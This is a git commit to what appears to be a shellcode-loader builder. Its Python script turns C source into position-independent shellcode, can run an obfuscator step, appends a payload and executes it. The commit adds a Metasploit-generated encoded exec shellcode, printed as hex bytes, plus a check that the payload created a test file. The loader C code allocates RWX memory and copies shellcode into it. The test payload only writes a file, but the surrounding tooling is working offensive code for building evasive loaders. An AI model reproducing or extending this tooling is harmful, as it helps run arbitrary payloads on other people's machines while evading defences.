feature: createfile shellcode verification

This commit is contained in:
Dobin
2024-02-03 14:43:21 +00:00
parent c37e4a577b
commit 508799cdc9
7 changed files with 160 additions and 22 deletions
+1
View File
@@ -4,3 +4,4 @@
/*.bin
*.asm
__pycache__
bak/
+51 -17
View File
@@ -1,21 +1,32 @@
import subprocess
import os
import pefile
import time
def clean_files():
os.remove("main.asm") # generated from compiling source/main.c
os.remove("main-clean.asm") # cleaned for being a shellcode
os.remove("main-clean.exe") # assembled
os.remove("main-clean.bin")
os.remove("main-clean-append.bin")
SHC_VERIFY_SLEEP = 0.1
path_cl = r'C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\bin\Hostx64\x64\cl.exe'
path_masmshc = r'C:\Users\hacker\Source\Repos\masm_shc\out\build\x64-Debug\masm_shc\masm_shc.exe'
path_ml64 = r'C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\bin\Hostx64\x64\ml64.exe'
path_runshc = r'C:\Users\hacker\Source\Repos\masm_shc\out\build\x64-Debug\runshc\runshc.exe'
path_shexec = r'C:\Research\hasherezade\exec_fiber\sh-exec-fiber.exe'
verify_filename = r'C:\Temp\a'
def clean_files():
try:
os.remove("main.asm") # generated from compiling source/main.c
os.remove("main-clean.asm") # cleaned for being a shellcode
os.remove("main-clean.exe") # assembled
os.remove("main-clean.bin")
os.remove("main-clean-append.bin")
os.remove(verify_filename)
except OSError:
pass
def make_c_to_asm(c_file, asm_file, asm_clean_file):
print("--[ Compile C source to ASM: {} -> {} ]".format(c_file, asm_file))
@@ -25,24 +36,24 @@ def make_c_to_asm(c_file, asm_file, asm_clean_file):
"/FA",
"/GS-",
c_file,
], check=True)
], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
if not os.path.isfile(asm_file):
print("Error")
return
else:
print(" Generated {}".format(asm_file))
print(" > Generated {}".format(asm_file))
print("--[ Cleanup ASM: {} -> {} ]".format(asm_file, asm_clean_file))
subprocess.run([
path_masmshc,
asm_file,
asm_clean_file,
], check=True)
], check=True, stdout=subprocess.DEVNULL)
if not os.path.isfile(asm_clean_file):
print("Error")
return
else:
print(" Generated {}".format(asm_clean_file))
print(" > Generated {}".format(asm_clean_file))
print("--[ Fixup ASM: {} ]".format(asm_clean_file))
fixup_asm_file(asm_clean_file)
@@ -55,7 +66,7 @@ def fixup_asm_file(filename):
# replace external reference with shellcode reference
for idx, line in enumerate(lines):
if "dobin" in lines[idx]:
print("--( Replace external reference at: {})".format(idx))
print(" > Replace external reference at: {})".format(idx))
lines[idx] = lines[idx].replace(
"mov r8, QWORD PTR dobin",
"lea r8, [shcstart]"
@@ -64,7 +75,7 @@ def fixup_asm_file(filename):
# add label at end of code
for idx, line in enumerate(lines):
if lines[idx].startswith("END"):
print("--( Add end of code label at: {})".format(idx))
print(" > Add end of code label at: {})".format(idx))
lines.insert(idx-1, "shcstart:\r\n")
lines.insert(idx, "\tnop\r\n")
break
@@ -75,18 +86,17 @@ def fixup_asm_file(filename):
def make_shc_from_asm(asm_clean_file, exe_file, shc_file):
print("--[ Assemble to exe ]")
path_ml64 = r'C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\bin\Hostx64\x64\ml64.exe'
subprocess.run([
path_ml64,
asm_clean_file,
"/link",
"/entry:AlignRSP"
], check=True)
], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
if not os.path.isfile(exe_file):
print("Error")
return
else:
print(" Generated {}".format(exe_file))
print(" > Generated {}".format(exe_file))
print("--[ Get code section from exe ]")
code = get_code_section(exe_file)
@@ -104,9 +114,10 @@ def get_code_section(pe_file):
for section in pe.sections:
# Check if this is the code section
if '.text' in section.Name.decode().rstrip('\x00'):
print("--> Size: {}".format(section.SizeOfRawData))
data = section.get_data()
data = remove_trailing_null_bytes(data)
print(" > Code Size Raw: {} Size me: {}".format(
section.SizeOfRawData, len(data)))
return data
else:
print("Code section not found.")
@@ -145,7 +156,7 @@ def obfuscate_shc_loader(file_shc_in, file_shc_out):
print("Error")
return
else:
print(" Generated main-clean-sgn.bin")
print(" > Generated main-clean-sgn.bin")
def test_shellcode(shc_name):
@@ -155,3 +166,26 @@ def test_shellcode(shc_name):
"{}".format(shc_name),
]) # , check=True
def verify_shellcode(shc_name):
print("--[ Test shellcode: {} ]".format(shc_name))
# check if directory exists
if not os.path.exists(os.path.dirname(verify_filename)):
print("Error, directory does not exist for: {}".format(verify_filename))
return
# path_runshc
# path_shexec
subprocess.run([
path_runshc,
"{}".format(shc_name),
]) # , check=True
time.sleep(SHC_VERIFY_SLEEP)
if os.path.isfile(verify_filename):
print("--> OK. File creation test shellcode payload verified")
# better to remove it immediately. If cleanup on start is not performed,
# there may be false positives
os.remove(verify_filename)
else:
print("--> FAIL. Payload did not create file.")
+3
View File
@@ -0,0 +1,3 @@
+40
View File
@@ -0,0 +1,40 @@
# createfile shellcode
```
> use payload/windows/x64/exec
msf6 payload(windows/x64/exec) > set cmd "cmd.exe /c echo a > a"
cmd => cmd.exe /c echo a > a
msf6 payload(windows/x64/exec) > generate -b "\x00"
# windows/x64/exec - 339 bytes
# https://metasploit.com/
# Encoder: x64/xor_dynamic
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
# CMD=cmd.exe /c echo a > a
buf =
"\xeb\x27\x5b\x53\x5f\xb0\x3f\xfc\xae\x75\xfd\x57\x59\x53" +
"\x5e\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66\x81\x3f" +
"\x04\x74\x74\x07\x80\x3e\x3f\x75\xea\xeb\xe6\xff\xe1\xe8" +
"\xd4\xff\xff\xff\x07\x3f\xfb\x4f\x84\xe3\xf7\xef\xc7\x07" +
"\x07\x07\x46\x56\x46\x57\x55\x56\x51\x4f\x36\xd5\x62\x4f" +
"\x8c\x55\x67\x4f\x8c\x55\x1f\x4f\x8c\x55\x27\x4f\x8c\x75" +
"\x57\x4f\x08\xb0\x4d\x4d\x4a\x36\xce\x4f\x36\xc7\xab\x3b" +
"\x66\x7b\x05\x2b\x27\x46\xc6\xce\x0a\x46\x06\xc6\xe5\xea" +
"\x55\x46\x56\x4f\x8c\x55\x27\x8c\x45\x3b\x4f\x06\xd7\x8c" +
"\x87\x8f\x07\x07\x07\x4f\x82\xc7\x73\x60\x4f\x06\xd7\x57" +
"\x8c\x4f\x1f\x43\x8c\x47\x27\x4e\x06\xd7\xe4\x51\x4f\xf8" +
"\xce\x46\x8c\x33\x8f\x4f\x06\xd1\x4a\x36\xce\x4f\x36\xc7" +
"\xab\x46\xc6\xce\x0a\x46\x06\xc6\x3f\xe7\x72\xf6\x4b\x04" +
"\x4b\x23\x0f\x42\x3e\xd6\x72\xdf\x5f\x43\x8c\x47\x23\x4e" +
"\x06\xd7\x61\x46\x8c\x0b\x4f\x43\x8c\x47\x1b\x4e\x06\xd7" +
"\x46\x8c\x03\x8f\x4f\x06\xd7\x46\x5f\x46\x5f\x59\x5e\x5d" +
"\x46\x5f\x46\x5e\x46\x5d\x4f\x84\xeb\x27\x46\x55\xf8\xe7" +
"\x5f\x46\x5e\x5d\x4f\x8c\x15\xee\x50\xf8\xf8\xf8\x5a\x4f" +
"\xbd\x06\x07\x07\x07\x07\x07\x07\x07\x4f\x8a\x8a\x06\x06" +
"\x07\x07\x46\xbd\x36\x8c\x68\x80\xf8\xd2\xbc\xf7\xb2\xa5" +
"\x51\x46\xbd\xa1\x92\xba\x9a\xf8\xd2\x4f\x84\xc3\x2f\x3b" +
"\x01\x7b\x0d\x87\xfc\xe7\x72\x02\xbc\x40\x14\x75\x68\x6d" +
"\x07\x5e\x46\x8e\xdd\xf8\xd2\x64\x6a\x63\x29\x62\x7f\x62" +
"\x27\x28\x64\x27\x62\x64\x6f\x68\x27\x66\x27\x39\x27\x66" +
"\x07\x04\x74"
```
+25
View File
@@ -0,0 +1,25 @@
\xeb\x27\x5b\x53\x5f\xb0\xa8\xfc\xae\x75\xfd\x57\x59\x53
\x5e\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66\x81\x3f
\xb5\x35\x74\x07\x80\x3e\xa8\x75\xea\xeb\xe6\xff\xe1\xe8
\xd4\xff\xff\xff\x07\xa8\xfb\x4f\x84\xe3\xf7\xef\xc7\x07
\x07\x07\x46\x56\x46\x57\x55\x56\x51\x4f\x36\xd5\x62\x4f
\x8c\x55\x67\x4f\x8c\x55\x1f\x4f\x8c\x55\x27\x4f\x8c\x75
\x57\x4f\x08\xb0\x4d\x4d\x4a\x36\xce\x4f\x36\xc7\xab\x3b
\x66\x7b\x05\x2b\x27\x46\xc6\xce\x0a\x46\x06\xc6\xe5\xea
\x55\x46\x56\x4f\x8c\x55\x27\x8c\x45\x3b\x4f\x06\xd7\x8c
\x87\x8f\x07\x07\x07\x4f\x82\xc7\x73\x60\x4f\x06\xd7\x57
\x8c\x4f\x1f\x43\x8c\x47\x27\x4e\x06\xd7\xe4\x51\x4f\xf8
\xce\x46\x8c\x33\x8f\x4f\x06\xd1\x4a\x36\xce\x4f\x36\xc7
\xab\x46\xc6\xce\x0a\x46\x06\xc6\x3f\xe7\x72\xf6\x4b\x04
\x4b\x23\x0f\x42\x3e\xd6\x72\xdf\x5f\x43\x8c\x47\x23\x4e
\x06\xd7\x61\x46\x8c\x0b\x4f\x43\x8c\x47\x1b\x4e\x06\xd7
\x46\x8c\x03\x8f\x4f\x06\xd7\x46\x5f\x46\x5f\x59\x5e\x5d
\x46\x5f\x46\x5e\x46\x5d\x4f\x84\xeb\x27\x46\x55\xf8\xe7
\x5f\x46\x5e\x5d\x4f\x8c\x15\xee\x50\xf8\xf8\xf8\x5a\x4f
\xbd\x06\x07\x07\x07\x07\x07\x07\x07\x4f\x8a\x8a\x06\x06
\x07\x07\x46\xbd\x36\x8c\x68\x80\xf8\xd2\xbc\xf7\xb2\xa5
\x51\x46\xbd\xa1\x92\xba\x9a\xf8\xd2\x4f\x84\xc3\x2f\x3b
\x01\x7b\x0d\x87\xfc\xe7\x72\x02\xbc\x40\x14\x75\x68\x6d
\x07\x5e\x46\x8e\xdd\xf8\xd2\x64\x6a\x63\x29\x62\x7f\x62
\x27\x28\x64\x27\x62\x64\x6f\x68\x27\x66\x27\x39\x27\x64
\x3d\x5b\x73\x62\x6a\x77\x5b\x66\x07\xb5\x35
+3 -1
View File
@@ -51,6 +51,7 @@ int main()
}
// user32.dll: MessageBoxW()
/*
char user32_dll_name[] = { 'u','s','e','r','3','2','.','d','l','l', 0 };
LPVOID u32_dll = _LoadLibraryA(user32_dll_name);
char message_box_name[] = { 'M','e','s','s','a','g','e','B','o','x','W', 0 };
@@ -68,6 +69,7 @@ int main()
wchar_t msg_content[] = { 'H','e','l','l','o', ' ', 'W','o','r','l','d','!', 0 };
wchar_t msg_title[] = { 'D','e','m','o','!', 0 };
_MessageBoxW(0, msg_title, msg_content, MB_OK);
*/
// Copy shellcode
// ntdll.dll: VirtualAlloc()
@@ -83,7 +85,7 @@ int main()
_In_ DWORD flProtect)) _GetProcAddress((HMODULE)base, VirtualAlloc_str);
if (_VirtualAlloc == NULL) return 4;
char *dest = _VirtualAlloc(NULL, 4096, 0x3000, 0x40);
for(int n=0; n<272; n++) {
for(int n=0; n<347+1; n++) {
dest[n] = dobin[n];
}
+37 -4
View File
@@ -20,8 +20,9 @@ class DataRefStyle(Enum):
APPEND = 1
options = {
options_default = {
"payload": "shellcodes/calc64.bin",
"verify": False,
"cleanup_files_on_start": True,
"generate_asm_from_c": True,
@@ -29,6 +30,7 @@ options = {
"test_loader_shellcode": False,
"obfuscate_shc_loader": False,
"test_obfuscated_shc": False,
"exec_final_shellcode": True,
"alloc_style": AllocStyle.RWX,
"exec_style": ExecStyle.CALL,
@@ -37,6 +39,31 @@ options = {
}
# This will verify if our loader works
# - Use it on a "target" machine
# - payload shellcode will create a file c:\temp\a
# - set: verify=True
options_test = {
"payload": "shellcodes/createfile.bin",
"verify": True,
"cleanup_files_on_start": True,
"generate_asm_from_c": True,
"generate_shc_from_asm": True,
"test_loader_shellcode": False,
"obfuscate_shc_loader": False,
"test_obfuscated_shc": False,
"exec_final_shellcode": False,
"alloc_style": AllocStyle.RWX,
"exec_style": ExecStyle.CALL,
"copy_style": CopyStyle.SIMPLE,
"dataref_style": DataRefStyle.APPEND
}
options = options_test
def main():
print("Super Mega")
@@ -67,14 +94,20 @@ def main():
with open(options["payload"], 'rb') as input2:
data_payload = input2.read()
print("---[ Stager: {} Shellcode: {} ]".format(len(data_stager), len(data_payload)))
print("--[ Stager: {} Shellcode: {} (both: {})]".format(
len(data_stager), len(data_payload), len(data_stager)+len(data_payload)))
with open("main-clean-append.bin", 'wb') as output:
output.write(data_stager)
output.write(data_payload)
print("--[ Test Append shellcode ]")
test_shellcode("main-clean-append.bin")
if options["verify"]:
print("--[ Verify final shellcode ]")
verify_shellcode("main-clean-append.bin")
if options["exec_final_shellcode"]:
print("--[ Test Append shellcode ]")
test_shellcode("main-clean-append.bin")
if __name__ == "__main__":